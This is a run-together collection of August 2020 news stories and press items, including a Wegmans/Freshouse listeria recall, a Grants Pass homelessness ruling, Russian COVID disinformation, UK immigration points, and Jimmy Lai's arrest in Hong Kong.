and Brooklyn and Harrison, N.Y., were supplied by Freshouse II, a produce-packing company in Salisbury, N.C. Freshouse has also recalled limes, red potatoes, and other brands of lemons sold to wholesalers and distributors in five states: Maryland, North Carolina, Pennsylvania, South Carolina, and Virginia. The company says that one of its pieces of equipment tested positive for Listeria monocytogenes. No illnesses have been reported. But listeria can cause serious and sometimes fatal infections in young children, frail or elderly people, and those with weakened immune systems. Its also dangerous for pregnant women because infection with the bacteria can lead to miscarriage, preterm labor, and stillbirth. We reached out to Freshouse to ask which other retailers were affected, but it didn't immediately respond to our request. If you purchased any of the products involved in the Wegmans or Freshouse recalls (see chart and images below), its important that you not eat them. Theres no guarantee that washing produce will get rid of listeria (or any bacteria that causes foodborne illness), says James E. Rogers, Ph.D., director of food safety research and testing at Consumer Reports. Its better to throw it away or return it to the store. The affected produce items were sold between July 31 and Aug. 7, 2020. In addition to the retail products listed here, the citrus and potatoes were sold in bulk directly to wholesalers; for that information, see the companys recall notice. In addition, Wegmans recalled prepared in-store foods that contain fresh lemon because they may also be contaminated, including pizza, chicken cutlets, and seafood items. The items were sold between Aug. 5 and Aug. 7, 2020. See the full list of recalled items. Story continues Brand/Product Package Size UPC Codes Trace Number(s) (printed on tag or clip on bag) Freshouse Limes 2-pound mesh bags 33383 14683 174618 174570 174571 174572 Nature's Promise Organic Limes 1-pound mesh bags 88267 53813 174375 Fresh From the Start Lemons 2-pound mesh bags 33383 14020 16453103 16415302 Wegmans Lemons 2-pound mesh bags 77890 15917 NA Wegmans Valencia Oranges 4-pound mesh bags 77890 52363 N/A Fresh From the Start Red B Potatoes 3-pound mesh bags 33383 51003 174575 174403 174595 The Details Products recalled: Lemons, limes, Valencia oranges, and red potatoes distributed by Freshouse II: Freshouse Limes, Natures Promise Organic Limes, Fresh From the Start Lemons, Wegmans Lemons, Wegmans Valencia Oranges, Fresh From the Start Red B Potatoes. Wegmans also recalled prepared foods made with fresh lemons. The problem: The produce and food may be contaminated with Listeria monocytogenes. The fix: If you have any of this produce or premade food, don't eat it. Throw it away or take it to the store where you purchased it for a refund. How to contact the manufacturer: Contact Freshouse II at 631-369-7150 between 8 a.m. and 5 p.m., Monday through Friday. Or email customerservice@freshouse.com. Contact Wegmans Food Markets at 855-934-3663 between 8 a.m. and 7 p.m., Monday through Friday or between 8 a.m. and 5 p.m. Saturday and Sunday. More from Consumer Reports: Top pick tires for 2016 Best used cars for $25,000 and less 7 best mattresses for couples Consumer Reports is an independent, nonprofit organization that works side by side with consumers to create a fairer, safer, and healthier world. CR does not endorse products or services, and does not accept advertising. Copyright 2020, Consumer Reports, Inc. GRANTS PASS, Ore. - An Oregon city has joined Boise, Idaho, in eliciting a precedent-setting court ruling that could change how cities nationwide cite and fine people living outside. A U.S. judge decided last month that Grants Pass, Oregon, violated its homeless residents Eighth Amendment rights by excluding them from parks without due process and citing them for sleeping outside, The Oregonian/OregonLive reported. The ruling builds on the landmark 2018 Martin v. City of Boise case that said cities cannot make it illegal for people to sleep or rest outside without providing sufficient indoor alternatives. Grants Pass City Attorney Mark Bartholomew said the city plans to appeal. The U.S. Supreme Court last year refused to hear the Martin case, forcing cities to rethink how their policies and law enforcement officials handle growing populations of people without housing. In Grants Pass, people have been complaining for years to the Oregon Law Center office that their ability to rest was made impossible by local ordinances. Debra Blake was one of them. She lost her job and then her housing about 10 years ago and lives in Grants Pass. On Sept. 11, 2019, Blake was lying in her sleeping bag in a park when she was cited for illegal camping and prohibited conduct. The same day she was cited for criminal trespass on city property. The fines with those tickets totalled $885 and she was also excluded from the parks. The city has said Blake owes $5,000 in stacked up fines and fees. She is one of several people who joined the case, many with similar debts. U.S. Magistrate Judge Mark D. Clarke wrote in his July 22 ruling, Let us not forget that homeless individuals are citizens just as much as those fortunate enough to have a secure living space, he said. Many cities and counties were thrown by the Boise case, which has been widely interpreted as saying that it is unconstitutional to arrest people for what are called sit-lie laws -- resting and sleeping in public -- if the jurisdiction does not provide adequate shelter or affordable housing. The Boise case was based in part on the Eighth Amendment -- that arresting homeless people for simply being homeless is cruel and unusual punishment. Clarke went further in the Grants Pass case, saying the citys policies amount to excessive fines for doing something that all humans must do -- sleeping, staying dry, staying warm, sitting down -- only applied to a small group of humans. Those activities are just unavoidable and tied up in the status of being unhoused, said Ed Johson, head of the Oregon Law Center. Johnson said the decision still leaves room for cities and counties to regulate how and where people camp. I hope what cities take from it they have a wide range of tools at their disposal, but the tools are not punishing people in their community who have no choice but to be living outside, Johnson said. The National Law Center on Homelessness and Poverty joined the Oregon Law Center in taking Grants Pass to court. Tristia Bauman, senior attorney, said she hopes the Boise and Grants Pass cases push cities to rethink how they invest in dealing with homelessness now that criminal and civil punishments can be unconstitutional, if broadly applied. ___ This story has been corrected to reflect that the ruling was made last month, not last week. Most recently she has been assistant principal at Lincoln Junior High School for the past three years. Fricke has also served as the director of junior high summer learning for the past two years. ATLANTA and MANCHESTER, United Kingdom, Aug. 11, 2020 /PRNewswire/ -- PrimeRevenue, the leading platform for working capital finance solutions, and The Co-operative Group, today announce a new supply chain finance partnership. Barclays Bank PLC, who introduced The Co-op to PrimeRevenue, will be providing funding on the supply chain finance program followed by other financial institutions as the programme grows. Co-op has made the strategic decision to partner with PrimeRevenue for its new supply chain finance offering. Fueled by a highly challenging business climate heightened by the pandemic, the company aims to offer suppliers a simple method of early payment to help with their cash flow without having a detrimental impact to Co-op's own cash position. This is particularly relevant in the current environment where the old adage "cash is king" has never been truer. As the UK continues to experience economic volatility as a result of the global health crisis, Co-op is committed to supporting and protecting the supply chain. This new partnership will allow Co-op to provide a much wider range of its suppliers an early payment option than previously, many of which are already familiar with PrimeRevenue's supply chain finance platform. "We've used supply chain finance in the past and were aware of its potential to improve cash flow for both Co-op and our suppliers, but we wanted our suppliers to have a more accessible and seamless experience," said Simon Nuttall, Head of Tax, Treasury & Insurance. "What drew us to PrimeRevenue was the company's demonstrated success in achieving a programme's full potential for both customers and suppliers. A large portion of our Phase 1 targeted suppliers were already utilising the platform through other commercial relationships and we were confident PrimeRevenue's comprehensive approach would allow us to support an even broader range of our supply base with early payment options." The food retailer will also work with PrimeRevenue to integrate the platform with Co-op's new SAP system, thereby improving overall efficiency across multiple departmental and business systems. "During the economic crisis, the food retail industry has had its own unique supply chain challenges," said Matt Ford, VP Global Head of Customer Success, PrimeRevenue. "We are excited to provide Co-op a simple way to manage cash flow and maintain their growth plans despite current economic volatility whilst supporting their commitment to protecting suppliers." Technical implementation of the supply chain finance programme has been successfully completed and the first wave of suppliers are transitioned to the PrimeRevenue platform. More than 60 suppliers are expected to be onboarded in Phase 1 with significantly more to follow. About PrimeRevenue PrimeRevenue's supply chain finance (approved payables financing) solutions help organisations in 80+ countries optimise their working capital to efficiently fund strategic initiatives, gain a competitive advantage and strengthen relationships throughout the supply chain. As the leading provider of working capital financial technology solutions, PrimeRevenue's diverse multi-funder platform processes more than $250 billion USD in payment transactions per year. The company is headquartered in Atlanta, with offices in London, Prague, Hong Kong and Melbourne. Additional information about PrimeRevenue can be found at www.primerevenue.com | Twitter: @primerevenue | LinkedIn: www.linkedin.com/company/primerevenue. About the Co-op: The Co-op is a leading food retailer with a focus on the convenience sector. The group offers a wide range of additional services including funerals, insurance, legal services and health. It has a clear purpose of championing a better way of doing business for customers and their communities. Owned by millions of UK consumers, the Co-op operates 2,600 food stores, over 1,000 funeral homes and it provides products to over 5,100 other stores, including those run by independent co-operative societies and through its wholesale business, Nisa Retail Limited. It has more than 63,000 colleagues and an annual revenue of over 10 billion. PrimeRevenue Media Contact: Ariane Wolff Warner Communications [email protected] +1. 978.729.3542 (U.S.) Co-op Media Contact: Aimi McNeill Co-op Press Office [email protected] 0.773.965.7585 Andrew Torr Co-op Press Office [email protected] 0.770.250.5551 SOURCE PrimeRevenue, Inc. Related Links http://www.primerevenue.com Since the beginning of 2020, the world has seen the rapid spread of the COVID-19 virus which became a global emergency on January 30 and a pandemic on March 11. Everyone from physicians and epidemiologists to teachers and grocery store clerks have sought effective means of combatting the spread of the disease. Masks and social distancing help, but they do little to combat the spread of misinformation - which can be almost as dangerous. Our enemy is not only the pandemic, but an infodemic of misinformation," as UN Secretary-General Antonio Guterres has reminded the world. In every crisis, leaders and communicators strive to provide accurate, timely information to relevant stakeholders. This has proven particularly difficult during the pandemic as efforts to inform the concerned citizens of the world have run against a coinciding Russian disinformation campaign aimed at sowing panic in the West. The Russian propaganda machine has been curating and spreading false narratives about the virus among Russian and Western audiences alike, in order to bolster the credibility of the Russian authoritarian regime and undermine the strength of Western democracies. The growing fear and uncertainty surrounding the pandemic, its symptoms, and treatments, provide a unique opportunity for Russia to strengthen its influence both at home and abroad. Russia Propaganda Rule #1: If There is No Story, Make One Up The misinformation campaign began early and struck hard. On April 5, British Prime Minister Boris Johnson was admitted to a hospital after exhibiting symptoms of COVID-19. The next day, Russian domestic state media RIA Novosti reported that Johnson was urgently hospitalized and on the verge of needing ventilation. This report, the only one of its kind, was debunked by the British press. Riga-based media outlet Meduza asserted the disinformation was part of an ongoing narrative that Western countries are weaker and more vulnerable and were coping poorly amid the pandemic when compared to their Russian counterparts. In Italy, during the peak of the outbreak, pro-Kremlin media suggested the countrys Western allies abandoned the Italians, whereas Russia gave significant, if non-specific aid. While it is true that Russia sent some equipment to Italy, 80% of the supplies were untimely and unusable in the fight against COVID. Russian media reported widely on the overwhelming gratitude of the Italian people. However, it seems that it was not so easy to find Italians willing to publicly thank Russia: According to La Repubblica, persons who introduced themselves as representatives of Russian media tried to exchange testimonies of gratitude for financial rewards. Unfortunately, the search for a vaccine to inoculate Westerners from the infection of Russian disinformation is yet to be found. Russia Today (RT), the leading voice of Russian propaganda in English-speaking media markets, has created a series of manipulative stories that argue fear and uncertainty surrounding the coronavirus will lead citizens to forfeit their democratic rights in favor of the safety of an authoritarian takeover. More clandestine approaches include coopting Western voices such as that of Canadian economist and anti-globalization author Michel Chossudovsky, a 9/11 conspiracy theorist with an anti-Semitic flair. Chossudovsky recently dubbed COVID-19 a fear campaign supported by fake data. Hardly a credible source, his article reappeared on South Front, a website branding itself as a legitimate news source covering issues of security, foreign policy and military analysis. The site is, in fact, professionally designed and registered in Moscow and perhaps the only fake news outlet currently curating fake news content about their own fake news. Regardless of the means of amplification, the message Russia is trying to spread is clear: The threat of COVID-19 is not serious, and Western approaches to combat and contain the spread of the virus are, in fact, doing more to erode the Western democratic process than the virus itself. What is the Cure? An infodemic could be as dangerous as a pandemic. If these disinformation narratives take hold, they have the ability to seriously undermine government efforts in fighting the pandemic. Ironically enough, the coronavirus fakes threaten not only the West, but Russia as well. For this reason, the Russian government threatens its citizens with fines and imprisonment for the distribution of fake news. But as with the pandemic, unified efforts to resist the spread of misinformation can also be effective. Journalists should always be diligent in their fact-checking and refute propaganda; social networks should continue escalate their efforts in fighting fake news; governments should investigate and prosecute disinformation networks and campaigns as well as support and encourage non-governmental organizations to arm the public with the truth; and, finally, everyone should employ critical thinking as a mental shield against such infectious narratives. Dr. Veronika Velch is a Senior Fellow for National Security at the Rainey Center, and Advocacy Director at the Office of Juleanna Glover. Vadym Miskyi is the program director of Detector Media, a non-profit focused on media self-regulation, development of the public broadcasting and rising media literacy among citizens. He is an advocacy and media expert with advanced knowledge of Ukrainian media market. The views expressed are the authors' own. President Donald Trump was abruptly taken out of a press conference by security on Monday due to a reported shooting that took place near the White House. And Kathy Griffin, a notoriously outspoken critic of Trump, took to Twitter to jokingly assure her 2.1million followers that she had nothing to do with the incident. 'It wasnt me,' tweeted the 59-year-old comedian, minutes after news of the shooting broke. Wasn't me: Kathy Griffin, a notoriously outspoken critic of Trump, took to Twitter to jokingly assure her 2.1million followers that she had nothing to do with the incident; Kathy pictured in February Though she did not directly mention the incident or tag Trump in her tweet, Griffin's following knew exactly what she was referring to. Minutes after his impromptu evacuation, President Trump, 74, returned to the White House briefing room and revealed the details of the shooting to the press, as reported by CNN. 'There was a shooting outside of the White House and it seems to be very well under control. I'd like to thank the Secret Service for doing their always quick and very effective work,' he began. When asked if the White House had been breached in anyway, the 45th president of the United States replied: 'I don't think the person breached anything. I don't believe anything was breached. I asked that question.' Close call: President Donald Trump was abruptly whisked out of a press conference by security on Monday due to a reported shooting that took place near the White House; Trump pictured on Monday Trump said that he was 'taken to the Oval Office' after being evacuated and that the Secret Service made him 'feel very safe.' 'They just wanted me to step aside for a little while just to make sure that everything was clear outside,' he told reporters. Kathy Griffin has proven over the years that she is no fan of Donald Trump, whether it is clowning the former The Apprentice host on Twitter or posing with a severed head made to look like him in 2017. Details: Minutes after his impromptu evacuation, President Trump, 74, returned to the White House briefing room and revealed the details of the shooting to the press, as reported by CNN; the White House pictured on June 23 Not a fan: Kathy Griffin has proven over the years that she is no fan of Donald Trump, whether it is clowning the former The Apprentice host on Twitter or posing with his severed head in 2017 In a recent remote interview with Marco Eagle, the comedian admitted that her 2017 Trump severed head scandal marked the end of her 'old life,' in terms of 'friends and work opportunities. But, despite her unrelenting criticism of Trump and other government officials, Kathy is not 'anti-America.' 'I love America. Let the newsmakers say [Trump's] not qualified to have that job. But what I can say is that every time he walks out on camera, he honestly looks like he just left a spa. He looks like he gets five facials a day,' she joked. Yemen's President Abd-Rabbu Mansour Hadi will leave Saudi Arabia and head to the United States for medical treatment early on Wednesday, two sources close to the matter told Reuters on Tuesday. The head of the country's internationally-recognised government, who has lived in exile in Riyadh since the Iranian-aligned Houthi group captured the Yemeni capital Sanaa in 2015, has been treated for a heart condition since 2011. He is set to return in a week, the sources said. Hadi has been on several trips for medical checks and treatment to the United States, most recently in June 2019. Yemen's conflict has killed more than 100,000 people since a Saudi-led alliance intervened in Yemen in March 2015 to try to restore Hadi's government, an ally of Riyadh. The war is largely seen regionally as a proxy struggle between Riyadh and Tehran. The sources said the trip would not delay talks between Hadi's administration and the separatist Southern Transitional Council (STC) around the formation of a new government. Riyadh is seeking to end a conflict between the separatists and the Saudi-backed government, which has been based in Aden for five years after the Houthis ousted it from Sanaa. The government and the STC, which is backed by the United Arab Emirates, are the main Yemeni forces in the Saudi-led anti-Houthi coalition. But the two Yemeni allies have been at loggerheads since last August when the STC took over Aden. In July, Saudi Arabia presented a framework to expedite a stalled November deal in Yemen's south designed to end the dispute. Search Keywords: Short link: To immigrate to the United Kingdom, starting in January 2021, it will be necessary not only to have a work contract with a permit, but also to qualify under a new points system. How new UK immigration system compares with Canada To immigrate to the United Kingdom, starting in January 2021, it will be necessary not only to have a work contract with a permit, but also to qualify under a new points system. How new UK immigration system compares with Canada To immigrate to the United Kingdom, starting in January 2021, it will be necessary not only to have a work contract with a permit, but also to qualify under a new points system. How new UK immigration system compares with Canada To immigrate to the United Kingdom, starting in January 2021, it will be necessary not only to have a work contract with a permit, but also to qualify under a new points system. Alexandra Miekus Aa Accessibility Font Style Serif Sans Font Size A A Great Britain is implementing a Canadian-style points-based immigration system, but there are some notable differences. Great Britains new immigration law is the result of ideas put forward in 2019 when Prime Minister Boris Johnson campaigned for work visas to be reserved for people with at least the equivalent of secondary education, a good level of English, a promise of employment and a minimum annual wage. In changing its immigration system, the UK will give priority to highly skilled individuals, such as those with scientific, academic and technology-related qualifications. Find out if you are eligible for any Canadian immigration programs Great Britain aims to attract the best candidates for immigration The UKs latest immigration system guidelines were published on Monday, July 13, and are set to change the countrys existing points-based immigration system starting in the new year. Under the new system, foreign nationals applying to work in the UK will have to meet a number of criteria. Individuals will be assessed based on their specific skills, qualifications, salaries or professions, and visas will only be issued to those who have obtained the 70 points required to apply for a visa. The first 50 points are awarded for a candidates English skills, and for receiving a job offer in their field of training from an approved sponsor. To get the remaining required points, other criteria will have to be met, such as a minimum wage threshold, a job in an occupation where there is a labour shortage or a PhD in a field relevant to their work. Here is the UKs new points-based immigration system breakdown (70 points needed): Job offer *required (20 points); Job has a relevant skill level *required (20 points); English language knowledge * required (10 points); Job has a salary of 23, 040- 25, 599 (10 points); Job has a salary of over 25, 600 (20 points); Job on shortage occupation list (20 points) An applicant with a PhD (10 points); and An applicant with a PhD in science, technology, math and engineering (20 points). Find out if you are eligible for any Canadian immigration programs How the new British system compares to the Canadian system There are both notable similarities and differences between the future British system and the one that Canada has in place. Canadas immigration system also allocates points for specific skills, occupations and pre-arranged jobs, but takes into account a broad range of other qualifications such as work experience, age or adaptability profiles of highly skilled workers applying for permanent resident (PR) status. Highly skilled foreign workers who have never lived in Canada before and who submit a profile through Express Entryan immigration application management systemunder the Federal Skilled Worker Program (FSWP) for instance, must score at least 67 points for factors such as: Language skills (maximum 28 points); Work experience (maximum 15 points); Education (maximum 25 points); Age (maximum 12 points); Arranged employment in Canada (maximum 10 points); and Adaptability (maximum 10 points). In order to qualify for Canadian immigration in the economic class, it is not necessary to have a job offer or a certain salary threshold. Also, in-Canada immigration candidates with work experience in any skilled occupation may be invited to apply for Canadian permanent residence through the Express Entry system. Canada has both federal and provincial economic immigration pathways, and each has its own unique work experience criteria. Certain Provincial Nominee Programs (PNPs) are open to candidates in specific lines of work that support regional labour needs. Express Entrys Comprehensive Ranking System (CRS), which determines a candidates position in the pool, only considers the amount of full-time, or equivalent part-time, work experience and whether their occupation is considered skilled. Eligible occupations are those rated skill type 0 (managerial), skill level A (professional) or skill level B (technical) under Canadas National Occupational Classification (NOC). The candidates actual occupation or job sector is not taken into consideration by the CRS and they do not factor into who is invited to apply for PR through the Express Entry system. Other programs such as the Atlantic Immigration Pilot, require work experience of skill type/level 0, A, B, or C (intermediate). Whereas individuals who have level C or D (labour work) skill level jobs may be able to come to Canada as provincial nominees with all skill types/levels. Because Canada has a small population and an aging labour force, it strives to make it as easy as possible for immigrants to access the workforce and PR status. Canada has invested a great deal of effort in recent decades to develop and offer a wide range of immigration pathways to ensure that it can meet the needs of a larger number of potential immigrants. Immigrants who, in turn, can bring a variety of skills and make positive contributions to a growing range of sectors and markets. It is the responsibility of every country to develop immigration policies that it believes are in its best interests. The UKs imminent immigration reforms and their outcomes will be interesting to follow and examine in the coming months and years. Find out if you are eligible for any Canadian immigration programs 2020 CIC News All Rights Reserved Beginning today, Palestinians stranded on either side of the Egypt-Gaza border will be able to cross for three days in what is their first opportunity in months. From Aug. 11 to 13, residents wanting to return to the Gaza Strip can enter through the Rafah crossing in Egypt. All arrivals must go to designated quarantine centers for 21 days and be tested for COVID-19. Palestine's Interior Ministry spokesperson Eyad al-Bozzom said Monday that around 1,500 Palestinians would depart for Egypt and 2,000 Palestinians currently in Egypt are expected to return to Gaza. The crossing was closed in March as part of restrictions aimed at curbing the spread of the coronavirus. Since then, Gazan have only been able to enter the coastal enclave during brief windows in April and May, and departures were prohibited entirely. Since Hamas seized control of Gaza from the Palestinian Authority in 2007, Egypt and Israel have heavily restricted movement to prevent the Islamist militant group from bringing weapons across their borders. Rafah remains the only exit point for Gazans who wish to travel out of the impoverished strip through Egypt. The movement restrictions, widely viewed as collective punishment by rights groups, appear to have contributed to Gazas extremely low rate of coronavirus infections. Health officials have so far registered just 81 cases, one death and no evidence of community transmission. Experts have warned Gazas health system is unequipped to deal with a wider outbreak. Military conflict with Israel, internal political instability and the 13-year Israeli-Egyptian blockade have left hospitals overburdened and understaffed. In a separate development on Tuesday, Israel closed its only commercial crossing with Gaza, Kerem Shalom, after balloons carrying explosives were sent across the border. Sharon Stone has written a memoir and shes refusing to pull any punches. The book, The Beauty of Living Twice, comes out in March, Alfred A. Knopf announced Tuesday. In it, the 62-year-old actor is courageous, honest and outspoken, refusing to pull any punches when discussing aspects of the trauma and violence she endured as a child and how her chosen career as an actress echoed many of those same assaults, Knopf said in a statement. Stone herself said in a statement, I have learned to forgive the unforgivable. My hope is that as I share my journey, you too will learn to do the same. Stone, best known for films like Casino and Basic Instinct, will also write about her two marriages, her near-fatal stroke in 2001 and her humanitarian work, the publisher said. Star staff, The Associated Press Big Brother Canada wants all Canadians to apply for Season 9 Big Brother Canada is looking to be inclusive as it casts Season 9 of the reality show. We are ready to embark on another casting journey in search of Canadians who represent our country and its rich mosaic of cultures, Erin Brock, showrunner of Big Brother Canada for Insight Productions, said in a news release. Were encouraging all qualified Canadians to take a shot at this once-in-a-lifetime experience. Also, for the first time ever, all casting will be done virtually, since in-person auditions are a no-no during the COVID-19 pandemic. If youre interested, record a short video explaining why you have what it takes to be a Big Brother Canada house guest, visit bigbrothercanadacasting.ca and upload your video, a photo of yourself and some basic information. You have to be at least 19 years of age as of Feb. 1 and you have until Nov. 15 to apply. People can also nominate friends by tagging @bigbrotherca on social media and using the hashtag #FutureHOH. Like its American counterpart, Big Brother Canada sequesters a group of strangers in a house under wall-to-wall surveillance where they compete for a cash price, voting each other out and competing in challenges every week. The new season will debut on Global TV in 2021. Debra Yeo Buried Black-ish episode can now be seen on Hulu A politically charged episode of Black-ish from 2017 that was shelved by ABC has found a home on the U.S. streaming service Hulu. I cannot wait for everyone to finally see the episode for themselves, series creator Kenya Barris posted Monday on social media. He asked producer Walt Disney Television, which owns a majority stake in Hulu, to reconsider making the episode available and in recognition of the importance of this moment, they listened and agreed, he said. The episode, Please Baby Please, joins the Black-ish library of past seasons on Hulu. It revolves around a sleepless night in the household of Dre and Rainbow Johnson (Anthony Anderson and Tracee Ellis Ross). To calm his infant son during a storm, Dre begins by reading a childrens book then shares an improvised fable, in which the actions of the then-fledgling Trump administration are part of his unease. His monologue includes a thinly veiled reference to the shady king. Through imagery and concerns expressed by other family members, the episode touches on issues besides racism, including mass shootings, climate change and gay rights. The Associated Press Murdoch Mysteries resumes shooting in Toronto Another Canadian TV series is back in production amid the COVID-19 pandemic. Production company Shaftesbury announced Tuesday that shooting has begun in Toronto on Season 14 of Murdoch Mysteries. The CBC drama, which also airs in the U.S., the U.K. and numerous other countries, stars Yannick Bisson as early-20th-century Toronto detective William Murdoch. Bisson will also direct the first two episodes of the new season. Shaftesbury said only essential crew are allowed on set and are required to wear masks, with temperatures taken every day. The crew has been divided into smaller pods to reduce interactions between individuals and protect cast members, who cant always be masked or fully distanced from each other. Another Shaftesbury TV series, Citytvs Hudson and Rex, recently shut down production for one day in St. Johns, N.L., after two people tested positive for COVID-19. One was a woman who had flown to Newfoundland from Toronto, the other a cast member who had contact with her. Debra Yeo Twins viral video boosts sales of Phil Collins In the Air Tonight Phil Collins 1981 anthem In the Air Tonight is a hit once again thanks to a reaction video starring a pair of brothers hearing the song, particularly its famous drum break, for the first time. As of Monday afternoon, In the Air Tonight was the fourth bestselling track of the week, up from 185th best the week prior. A YouTube video of twin brothers Tim and Fred Williams listening to the song has been viewed over three million times and clips of their reactions have been shared on social media countless other times. President Trump is reportedly considering temporarily blocking U.S. citizens and legal permanent residents who are abroad from returning home if authorities believe they are infected with the coronavirus. A proposal draft of the immigration rule obtained by the New York Times said American citizens and permanent residents could be stopped at the border if an official reasonably believes that the individual either may have been exposed to or is infected with the communicable disease. The draft did not specify how long individuals would be barred from reentry, but did say that it would be limited in duration and must include appropriate protections to ensure that no Constitutional rights are infringed. Federal agencies have been requested to provide the White House with feedback by Tuesday on the proposed rule, which would operate on a limited case by case basis, only in the rarest of circumstances, and when required in the interest of public health. The rule would apparently apply to all points of entry to the U.S. including airports and the border with Mexico. In March, the U.S. and Mexico agreed to close their shared border to all non-essential travel to curb the international spread of the pandemic. The same week, Trump and Canadian Prime Minister Justin Trudeau reached a similar agreement to close the border to nonessential travel. A week before that, the Trump administration announced a 30-day ban on travel from Europe with certain exceptions and closed its borders to several other countries including Iran, South Korea, and China, where the virus outbreak originated. Since then, the travel bans have been extended, but foreign students from Europe with study visas were exempted last month and allowed to return to the U.S. The U.S. has recorded more than 5 million cases of the coronavirus across the country, and at least 163,000 people have died after being infected. More from National Review Florida Governor Ron DeSantis on Monday rejected a plan from the Tampa-area school district to begin the school year with online classes only, insisting that schools must allow parents to send their children back to school if they so choose. Some of this stuff is just not debatable anymore, DeSantis said during a Monday roundtable at a Hillsborough County charter school alongside Education Commissioner Richard Corcoran. Were going in a good direction in this area and thats just the reality. Hillsborough County, the states third-largest school district which as of Monday ranked fifth in the state for coronavirus positivity at 13 percent, had proposed offering online-only classes for the first four weeks of the imminent school year beginning August 24. The Republican governor and education commissioner rejected that plan on Friday. The district, which is responsible for the education of 223,300 students, had originally proposed an instruction model that combined online classes with in-person classes but withdrew that plan after doctors in the Tampa area warned against it. The education commissioner has given the district an August 14 deadline to decide whether it will open up classrooms or modify the plan, detailing how many parents requested in-person instruction and explaining why the district is not able to offer it. Without changes, the districts funding could be affected. We have 66 districts all very content with the plans they have submitted. We have one district that submitted a plan, liked their plan, and then suddenly went back, Corcoran said. They have that right. Is it right by parents? Is it right by students? Is it right by teachers? No, its not. Districts that cover areas still in early phases of reopening from the pandemic will be allowed to start the fall semester with online-only learning, including Broward and Miami-Dade counties, but DeSantis and Corcoran have argued that Tampa has recovered significantly more than those areas. More from National Review Police had raided the office of a Lais newspaper amid a crackdown under the new Beijing-imposed national security law. Media tycoon Jimmy Lai, owner of Hong Kongs Apple Daily, and pro-democracy activist Agnes Chow, have been released on bail after they were arrested as part of a crackdown under a new national security law imposed by Beijing. Lai was released in the early hours of Wednesday, flanked by his lawyers, and greeted by supporters who chanted fight till the end and support apple, have an apple a day, referring to the pro-democracy tabloid. He did not make any comment after his release. Lais bail was set at HK$300,000 ($38,461), plus a HK$200,000 ($25,805) surety. The ardent critic of Communist Party rule in Beijing was arrested on Monday for suspected collusion with foreign forces when some 200 officers raided his newspapers offices and collected 25 boxes. Journalists at the newspaper had streamed on Facebook dramatic footage of the raid. A huge media scrum outside Mong Kok police station, as @JimmyLaiApple is finally released on bail about 40 hours after his arrest under the NSL. According to Oriental Daily, Lai was required to pay HK$500k (US$64.5k) in bail money, and HK$50m of his assets were frozen. pic.twitter.com/VEVYf2Cy2o Eric Cheung (@EricCheungwc) August 11, 2020 In total, 10 people were arrested on Monday, with the targeting of pro-democracy opposition figures in the semi-autonomous territory drawing international criticism and raising fears that Beijing is revoking freedoms promised under the one country, two systems formula that has been in place since the end of British colonial rule in 1997. The sweeping security legislation, imposed on June 30, punishes anything Beijing considers secession, subversion, terrorism or collusion with foreign forces with up to life in prison. Hong Kongs Beijing-backed government and Chinese authorities say the law is necessary to restore order after months of at times violent anti-government and pro-democracy protests last year. Lais release comes after his two sons and activist Agnes Chow were also released late on Tuesday. Upon her release, Chow, who became a prominent figure in the so-called Umbrella Movement of 2014, called her arrest political persecution and political suppression, according to the South China Morning Post. Its very obvious that the regime is using the national security law to suppress political dissidents, she said. Chow also told reporters that she was unprepared when she was arrested on Monday night. I have been arrested four times before, but honestly this time, I was scared the most. And it was the hardest. She addedthat authorities did not present any evidence how she violated the national security law. The most recent crackdown came less than two weeks after police made their first arrests of four students under the new national security law. Dancing with the enemy The Apple Daily has responded with defiance over the arrest of Lai, with readers queuing from the early hours of Tuesday to get copies of the newspaper. Apple Daily must fight on, its front-page headline read. The prayers and encouragement of many readers and writers make us believe that as long as there are readers, there will be writers, and that Apple Daily shall certainly fight on. More than 500,000 copies were printed, compared with the usual 100,000, the paper said on its website. Mainland-born Lai, who was smuggled into Hong Kong on a fishing boat when he was a penniless 12-year-old, is one of the most prominent democracy activists in the city. The Chinese government has labelled him a traitor in the past and issued a statement supporting his arrest, while the Beijing-backed China Daily newspaper said Lais arrest showed the cost of dancing with the enemy. The paper added that justice delayed didnt mean the absence of justice. The most recent arrests also sparked a fresh round of international condemnation United States Secretary of State Mike Pompeo on Monday called Lai a patriot, saying Beijing had eviscerated Hong Kongs freedoms. Meanwhile, the United Kingdom said Lais arrest was further evidence the security law was a pretext to silence opposition, to which Chinas embassy replied by urging London to stop using freedom of the press as an excuse to discredit the law. The US last week imposed sanctions on several top officials over what it said was their role in curtailing political freedoms in Hong Kong. China responded with sanctions on top US legislators and others. Governor Kate Brown held a press conference Tuesday at 12:15 p.m. to discuss this summers second special session of the Oregon Legislature that ended late Monday evening. Oregon lawmakers worked past 11 p.m. Monday to conclude a special session that grew tense and at times openly hostile in the Senate earlier in the evening. Legislators from the House and Senate passed a dozen bills to patch a $1 billion hole in the state budget, tighten restrictions on police and corrections officers use of force and help out-of-work and underemployed Oregonians. After hours of hearings and repeated delays in evening floor sessions, Senate President Peter Courtney announced around 7 p.m. that the Legislature would not finish its work Monday night. He had warned earlier in the evening that lawmakers whod been waiting all day to vote were getting increasingly grumpy. But the Senate resumed working bills at 8:45 p.m. Monday, raced through the work with little disruption and wrapped up at 10:20 p.m. Im glad its over, Courtney said in a statement, explaining that cutting the state budget is never a desired task. The House worked until past 11 p.m. to pass all 11 substantive bills and passed the resolution to adjourn at 11:17 p.m. It was the second special session of the year, after lawmakers spent three days at the Capitol in June focused on police reform laws and a handful of other proposals left over from the regular session that abruptly ended when Republican lawmakers walked out. Many lawmakers have been itching to fix the budget for months, which they were poised to do before persistent widespread protests against police brutality toward Black people prompted leaders to tackle that first. Watch the livestream in the video above. -- The Oregonian/OregonLive Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. WASHINGTON Over the weekend, New Zealand marked 100 days without a single new coronavirus infection from within the country, meaning that it has completely eliminated community spread. Around the same time, the United States became the first nation in the world to record 5 million cases. Its true, New Zealand is a remote island country with half the population of New York City. But as far as Katie Hill is concerned, something else is at work: New Zealand is led by a woman, Prime Minister Jacinda Ardern. Maybe were wired differently, maybe its because of how were socialized. Either way, what we are makes us better at governing. It just does, Hill writes in her new book, She Will Rise. Other countries led by women, including Germany and Iceland, have seen similarly impressive results in curbing the pandemic. Meanwhile, the U.S. has become a study in avoidable public health mistakes, an unwelcome example to much of the world. The U.S. is closely trailed by Brazil, whose president, Jair Bolsonaro, is sometimes called Trump of the Tropics for his close adherence to the American presidents style of governing. In conversation with Yahoo News, Hill says that women make better leaders because they have what she calls an internalized caregiving mentality. She contrasts that mentality with the fragile male ego of strongmen real and self-imagined. They dont want to ever be wrong. 